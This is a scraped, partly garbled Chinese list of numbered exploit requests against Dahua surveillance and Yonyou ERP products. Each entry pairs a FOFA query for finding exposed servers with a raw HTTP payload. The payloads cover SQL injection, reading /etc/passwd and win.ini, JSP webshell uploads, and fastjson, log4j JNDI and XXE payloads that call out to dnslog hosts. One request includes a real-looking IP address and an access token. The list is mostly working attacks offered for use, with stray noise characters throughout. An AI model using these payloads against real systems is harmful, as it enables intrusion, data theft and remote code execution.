POST /portal/services/itcBulletin?wsdl HTTP/1.1
Host: x.x.x.x
& A3 A5 L- X5 P* SUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
: k  @' R. d+ H1 v' }Content-Length: 345
Accept-Encoding: gzip

<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
<s11:Body>
    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
  e0 I% q9 v# ^1 F      <netMarkings>
% n" B" f8 R6 X9 i0 W& s* c& f       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
      </netMarkings>
    </ns1:deleteBulletin>
  </s11:Body>
! ^/ Z% h! ]+ ^. {8 M</s11:Envelope>


18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
$ k" ^3 Z1 m7 J( VFOFA：app="dahua-DSS"
$ L8 T% U9 i9 s- m3 A5 t2 }7 ~. LGET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
. {5 }7 U# v9 lHost: your-ip
7 ?7 L# z: I; n3 eUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
1 l2 ^4 L+ X1 N) Z$ V/ WAccept: */*
- l3 o- y. ~/ h, `; t: A- Y+ pConnection: keep-alive


. E/ f0 I8 K2 V) c9 D5 U) y! G7 F
& T0 P- ~5 S7 a19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
; C3 `' |* l0 s/ G0 CFOFA：app="dahua-DSS"
1 ~+ j) x% J' S% g' C% ^GET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
. P- \7 _3 e/ Q6 pHost:
4 Q% z- J6 ]) ]2 G/ n2 |User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
$ [/ i6 ]+ W) R+ w6 P' TConnection: keep-alive
7 w( s9 h& Y- L3 Z7 B) i
0 c$ q5 ^  Z( v6 X4 I5 \
20. 大华ICC智能物联综合管理平台任意文件读取
FOFA：body="*客户端会小于800*"
4 T( N/ u- ]8 gGET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
( z5 M$ w6 d  r7 S7 DHost: x.x.x.x
1 g3 L! V4 D. ~% g! SUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
/ d9 D9 ]# ]4 g: Q+ p; q0 c. RConnection: close
. ~9 S( _1 M7 ~% uAccept: */*
: N6 C) C6 p7 o& M- nAccept-Language: en
Accept-Encoding: gzip

) m& D, `& N' X* A. P1 o: h; H
% X6 O/ f# e$ P' b# \  b) r+ s21. 大华ICC智能物联综合管理平台random远程代码执行
& X' S- G8 s5 T" v; }FOFA：icon_hash="-1935899595"
7 x) v& o& Q! S1 _6 ]6 EPOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
1 H" U$ {3 w/ s( ]  Q4 }Host: x.x.x.x
' q- ~, n% A3 U) i  x; S& UUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
& D; A, a0 b% ZContent-Length: 161
Accept-Encoding: gzip
Connection: close
Content-Type: application/json;charset=utf-8

/ E# E5 p% R) l/ A, C{
& V( G; D: e) l/ M6 J& N% E"a":{
   "@type":"com.alibaba.fastjson.JSONObject",
    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
  }""
0 _8 v/ c1 p8 A  h% h}
- [: t6 k& i) J, M7 X' n, ^

3 ?* N: M! G) M- j  [  ]22. 大华ICC智能物联综合管理平台 log4j远程代码执行
FOFA：icon_hash="-1935899595"
, H/ C3 E  t1 z9 gPOST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Content-Type: application/json;charset=utf-8
) H* M, V/ @5 ^- x1 r" W* X
{
8 R  n! G* r1 @: u5 w! ^9 T"loginName":"${jndi:ldap://dnslog}"
0 w" g: Z6 _$ v$ f3 m5 ?}

8 }/ ~6 N: m0 g

23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
- w- v( Y" ^8 ?0 \! `  u& _FOFA：icon_hash="-1935899595"
) O4 X+ s# {6 a' E0 P" f$ CPOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
! O2 \# n6 V! \5 F0 \4 PHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json;charset=utf-8
Accept-Encoding: gzip
% D1 ?% I8 Y& ?8 s4 ~, |Connection: close
7 @  A& E( O$ U
8 @. j+ H4 ?& {  d/ a7 K& Y- ~, X{
    "a":{
4 `2 e% z& r4 m' g3 l        "@type":"com.alibaba.fastjson.JSONObject",
       {"@type":"java.net.URL","val":"http://DNSLOG"}
6 g5 P- q# w5 d( m, [0 j        }""
}
- h3 H: a; t  @* d9 d
; O  T6 a7 b8 u& m1 V% u
( \% ?/ a7 b' s) |* E! E, U# d24. 用友NC 6.5 accept.jsp任意文件上传
- |' h' }% r9 \0 GFOFA：icon_hash="1085941792"
POST /aim/equipmap/accept.jsp HTTP/1.1
" k: I! I  U) q$ nHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
) Y* s0 [/ x/ c5 O( c0 oContent-Length: 449
: U6 E% R3 H( _+ D/ _Accept: */*
Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc

8 }- Q- |: ~7 g* c) Z& ^-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
( D- z. k( E  U! u7 O( K' VContent-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
Content-Type: text/plain
" ^) q8 u" b: w& J
<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="fname"
# Q6 ~* ^- H* u0 I' T+ T" O
\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
$ K4 f; o2 j5 ^- B& U-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--
+ k3 T+ b/ C/ P1 G) x1 a. G+ V3 E% r

  P# \- M6 O! V! ^$ h( ^7 N5 ~25. 用友NC registerServlet JNDI 远程代码执行
FOFA：app="用友-UFIDA-NC"
POST /portal/registerServlet HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
- h# b8 [2 N; f4 e1 n% K# bAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
5 N& j  [' D/ v) U& pAccept-Encoding: gzip, deflate
Accept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
Content-Type: application/x-www-form-urlencoded

type=1&dsname=ldap://dnslog
: w: U' N. w  \/ T
; _9 d: Q1 X( N5 R$ Z
5 f3 K# {2 C# z1 e( t* ?
% _: G6 I9 N6 M: O; z26. 用友NC linkVoucher SQL注入
FOFA：app="用友-UFIDA-NC"
GET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
8 l* f. N2 I3 o7 Y6 m: `4 q1 J& cUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
1 J% N9 J$ g" A6 k/ O( M* nContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
! i. ?3 c- h: D

. a# x0 N3 ^5 q27. 用友 NC showcontent SQL注入
+ V' d" Q( a4 l( f" mFOFA：icon_hash="1085941792"
$ Y( z, M5 ^% s8 HGET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
Host: your-ip
2 ^! y) J, B9 k  R, ZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: identity
Connection: close
Content-Type: text/xml; charset=utf-8


# D4 x9 b' B  q! g* \28. 用友NC grouptemplet 任意文件上传
FOFA：icon_hash="1085941792"
, j" Q6 q' X+ c% Q& RPOST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
3 {( ]/ X* D' \; t7 ~1 X3 \Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Connection: close
9 w$ F7 {$ x! _. W  W9 AContent-Length: 268
5 q7 V* d9 U3 R9 lContent-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Accept-Encoding: gzip

6 {1 A7 S, A1 F* ?) q# _- e/ C2 ]------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Content-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
Content-Type: application/octet-stream
9 H, @7 p" b# C
<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
, Y3 c, H3 h+ O) G------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--


/uapim/static/pages/nc/head.jsp

1 _7 r: r% M* D% v5 k29. 用友NC down/bill SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
$ U2 P' [; _& H/ @) NHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
5 G" J3 e. ~' z8 I! lContent-Type: application/x-www-form-urlencoded
; j, h! s0 X' S. Z5 O/ ^Accept-Encoding: gzip, deflate
. V3 H$ p2 X" d/ W$ wAccept: */*
Connection: keep-alive
* g- I1 u; {4 Z- F! Z! b* c4 |& H
4 L1 A- t! m& ^# K4 i, x
# d2 G! \3 D% j+ C& _30. 用友NC importPml SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
& t& o7 t; N$ L% B8 d* wPOST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
3 f" Q5 }) ?8 B: y1 i" }9 [& O1 f. ~. eHost: your-ip
3 G9 w  z9 [- u5 T# K9 nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
- A7 A( c, R" e; xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
$ ^" c; o% p# x0 j2 n/ S0 DConnection: close

" y' g6 \8 O) ~9 u------WebKitFormBoundaryH970hbttBhoCyj9V
Content-Disposition: form-data; name="Filedata"; filename="1.jpg"
) w( u, r7 ^4 F2 f7 ^! B/ u2 Z0 cContent-Type: image/jpeg
------WebKitFormBoundaryH970hbttBhoCyj9V--


* h2 ], h; @  x" Q31. 用友NC runStateServlet SQL注入
$ F5 @  E, M8 R% f5 }version<=6.5
; \4 d# r, y* }8 k- I; ^- aFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
0 b8 y% i0 Q9 V0 m% i  P  c$ SHost: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
" [5 x/ y0 l8 V0 J$ Q0 ]Content-Type: application/x-www-form-urlencoded
2 H, |) v% Q) J3 U6 G

32. 用友NC complainbilldetail SQL注入
version= NC633、NC65
8 o* w. L* ~- }& `) y& }- ^FOFA：app="用友-UFIDA-NC"
) o6 m& I2 W* lGET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
+ {0 f$ H. D) j. ?5 r, oUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
% L6 [' Q1 F6 A1 D' S" H/ W5 tConnection: keep-alive
, J& a& [. P" b( A5 `& C" o& `3 q

33. 用友NC downTax/download SQL注入
version：NC6.5FOFA：app="用友-UFIDA-NC"
; z' ?' W9 i/ V& ^) y" r% lGET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
  R7 D2 x7 R! F5 J; h5 }4 A9 fUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
' x$ e" q. V' p. w/ v$ SContent-Type: application/x-www-form-urlencoded
2 ^1 n4 ]; i0 X* RAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive


34. 用友NC warningDetailInfo接口SQL注入
FOFA：app="用友-UFIDA-NC"
4 r$ A% q' T  `GET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
. C' Z1 t; k- o' u: _1 j$ g- uHost: your-ip
" y1 i; v4 y1 M; t5 ~8 MUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
/ ]9 y" |* S, R# E* J! IContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
0 _! H- r2 p9 uAccept: */*
' [3 ]& v+ k1 ~. P2 }9 uConnection: keep-alive


5 T; R( x: Q1 X' ~* ~9 \6 E35. 用友NC-Cloud importhttpscer任意文件上传
& i7 }  A/ n7 \% Z4 G( TFOFA：app="用友-NC-Cloud"
3 z: R; W& B. v  DPOST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
7 V" l3 y( {9 T1 }+ ]( S# w+ }Host: 203.25.218.166:8888
$ F* T* y0 x+ h; LUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
) I6 R  R5 t8 A. s$ ?4 [- k. WAccept-Encoding: gzip, deflate
Accept: */*
Connection: close
8 `9 [  ~- Y* G9 i0 m. VaccessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
Content-Length: 190
) ]8 b) V( g5 G1 Y: \Content-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0
% Q3 g4 Y8 k6 u( L
+ v5 H, x! `* [9 \5 d3 R. g--fd28cb44e829ed1c197ec3bc71748df0
Content-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"
4 m- M: o6 g5 W% R
<%out.println(1111*1111);%>
--fd28cb44e829ed1c197ec3bc71748df0--
  N. t) r. s0 k1 c2 l
. I* j% f, Z1 d5 t
36. 用友NC-Cloud soapFormat XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
7 V+ i/ X: ?$ m5 \1 o( H6 }POST /uapws/soapFormat.ajax HTTP/1.1
Host: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Content-Length: 263
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
8 f( I' P. k- P. E( @Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1

msg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a

6 Z# e: L- H% H
0 M0 r% @7 _, p+ l: v8 M37. 用友NC-Cloud IUpdateService XXE
, ?0 O, {) c+ m9 f  CFOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
5 F* A7 l" x0 f  F$ o$ k2 NPOST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
Host: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
7 X9 l1 ^! D( `( X- Y' UContent-Length: 421
+ ?% o, h0 Z1 NAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
0 Z2 ?  p1 Z5 h* n  gContent-Type: text/xml;charset=UTF-8
SOAPAction: urn:getResult
Upgrade-Insecure-Requests: 1
$ b: I0 V  G# c7 B; L$ _; Z
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
/ w* W9 g7 l/ m) l<soapenv:Header/>
<soapenv:Body>
<iup:getResult>
<!--type: string-->
* E6 p8 x8 n2 p/ y. g<iup:string><![CDATA[
' C* ~0 b3 B: ^. n* W( q( [4 h<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
<xxx/>]]></iup:string>
</iup:getResult>
</soapenv:Body>
</soapenv:Envelope>
( I; A1 ?. h- l4 D9 |


38. 用友U8 Cloud smartweb2.RPC.d XXE
FOFA：app="用友-U8-Cloud"
POST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
/ c3 W, x% F7 D3 rHost: 192.168.40.131:8088
! ~) i- C8 z, D! O$ [User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
Content-Length: 260
) k6 K" u. N8 G$ J, f2 \7 n+ xAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
3 a% i, w+ |2 a6 vAccept-Language: zh-CN,zh;q=0.9
; k1 I( m+ N* \6 |/ AConnection: close
Content-Type: application/x-www-form-urlencoded

4 z" {* K# x. [( U6 [" i__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>


: E8 K# f: O# q* b3 o39. 用友U8 Cloud RegisterServlet SQL注入
FOFA：title="u8c"
9 G8 a9 r5 R9 Q$ G6 e9 hPOST /servlet/RegisterServlet HTTP/1.1
Host: 192.168.86.128:8089
. W; C. c1 E6 _* m; ^User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
Content-Length: 85
Accept: */*
Accept-Language: en
: ]# n# S& q; }. XContent-Type: application/x-www-form-urlencoded
/ _; _9 d- i8 k' B) W* MX-Forwarded-For: 127.0.0.1
Accept-Encoding: gzip
: y3 A- m. e' {
: `! p( V2 G+ Y5 M1 ausercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--


- F' g% c& G+ q; o40. 用友U8-Cloud XChangeServlet XXE
3 u; e; m+ F+ Q8 X4 v/ X' hFOFA：app="用友-U8-Cloud"
+ |7 ~+ s( ?- W3 a% ]! z8 [% }POST /service/XChangeServlet HTTP/1.1
" {6 P0 F6 E, PHost: x.x.x.x
% o) S/ I# g2 X' |6 `" w$ }/ QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
4 I  }7 \( V9 T+ O& M! eContent-Type: text/xml
Connection: close
0 Q8 i0 X/ p+ S$ u
8 p5 n# I9 q# B' ~4 }<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>


41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
FOFA：app="用友-U8-Cloud"
GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
8 K- v+ B/ A( P; IContent-Type: application/json
5 l$ p  U% {5 J4 `, e& pAccept-Encoding: gzip
8 r, h5 s8 E! o% }- KConnection: close
' @8 ~8 D9 `; l5 }( H5 v

42. 用友GRP-U8 SmartUpload01 文件上传
FOFA：app="用友-GRP-U8"
POST /u8qx/SmartUpload01.jsp HTTP/1.1
Host: x.x.x.x
$ m0 t8 [5 R% k# p2 K3 x! ~' HContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36
6 h4 M6 r  b4 E; s" c
; H% m/ |$ d) U, \' APAYLOAD
5 J& Y) Z; F0 l& i- D

/ G5 D3 O6 e# P" F* A5 e  t* K% ~( xhttp://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml

43. 用友GRP-U8 userInfoWeb SQL注入致RCE
FOFA：app="用友-GRP-U8"
POST /services/userInfoWeb HTTP/1.1
! R$ \& W# i) \! @Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
+ u! t8 a& y2 j" R2 N5 aConnection: close
+ }/ \, W: P( P6 P1 {2 y7 w  f& M* OSOAPAction:
Content-Type: text/xml;charset=UTF-8
) Q5 U& z$ T; y( M, ^; z/ ]
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
# j) Y- I4 ]3 p   <soapenv:Header/>
   <soapenv:Body>
8 L! X, {+ i9 o- o) w      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
      </ser:getUserNameById>
   </soapenv:Body>
: Q4 J- I3 g: B8 q</soapenv:Envelope>


44. 用友GRP-U8 bx_dj_check.jsp SQL注入
4 s9 \6 z+ M! U; i* r, BFOFA:app="用友-GRP-U8"
2 t0 h# e0 }  z3 rGET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
4 H! [: ^) ]0 u/ VHost: your-ip
" C7 U, o' E; E; y( H/ aUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
9 y! h5 f0 j3 I7 x6 [' S4 h1 Q* FAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
, p0 E9 Q6 E' X: D& c: x" [$ KConnection: close
, |+ d; E% x; f4 v1 J
+ A8 u% k. I9 A2 j
45. 用友GRP-U8 ufgovbank XXE
FOFA：app="用友-GRP-U8"
+ t* o; U$ e) s( f5 n( E( APOST /ufgovbank HTTP/1.1
/ O* J. P  d0 W! yHost: 192.168.40.130:222
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
5 ?- X$ Q9 E/ l$ S1 c, ?5 wConnection: close
6 S6 i. x0 {0 }/ U; k( jContent-Length: 161
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
8 P+ z7 Z" q  `9 F8 }Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
! i& I6 y3 H# T& ]% aAccept-Encoding: gzip

4 n6 U' v' V" yreqData=<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest
! a* J  a0 X" H, M, I
, P$ w0 e. _1 E1 c! x( {
46. 用友GRP-U8 sqcxIndex.jsp SQL注入
. g8 Q2 w- Q6 I* q* z. D2 P7 b6 C. BFOFA：app="用友-GRP-U8"
GET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
" j  z0 V: b9 AAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
; x) A* c5 J9 K, p$ p" a+ UAccept-Encoding: gzip, deflate
. k. ^1 j0 b, Y9 r0 L0 D: WAccept-Language: zh-CN,zh;q=0.9
. @) U& v5 P) a/ c5 x; i- eConnection: close

3 f5 X+ C& H# V+ A
9 n# e9 A; L) E7 D8 F4 d% _5 M47. 用友GRP A++Cloud 政府财务云 任意文件读取
+ J' T' Q- |& eFOFA：body="/pf/portal/login/css/fonts/style.css"
GET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
Host: x.x.x.x
; [* Y2 L( w$ b8 ~0 M0 l' ?3 y" tCache-Control: max-age=0
" V) W2 {9 E. q! X. W* I( VUpgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
/ m" c4 r1 D) n4 _Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
) p' F; Z: n! G' vIf-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
Connection: close
% V4 W) g/ d7 I  b


( m$ Q, A; W( r48. 用友U8 CRM swfupload 任意文件上传
FOFA：title="用友U8CRM"
- v, Q( E7 W( h) {POST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
$ o& u4 X$ P% k0 P2 q! P, u2 E6 qHost: your-ip
! J+ \0 c  ^" V4 N& Z  cUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
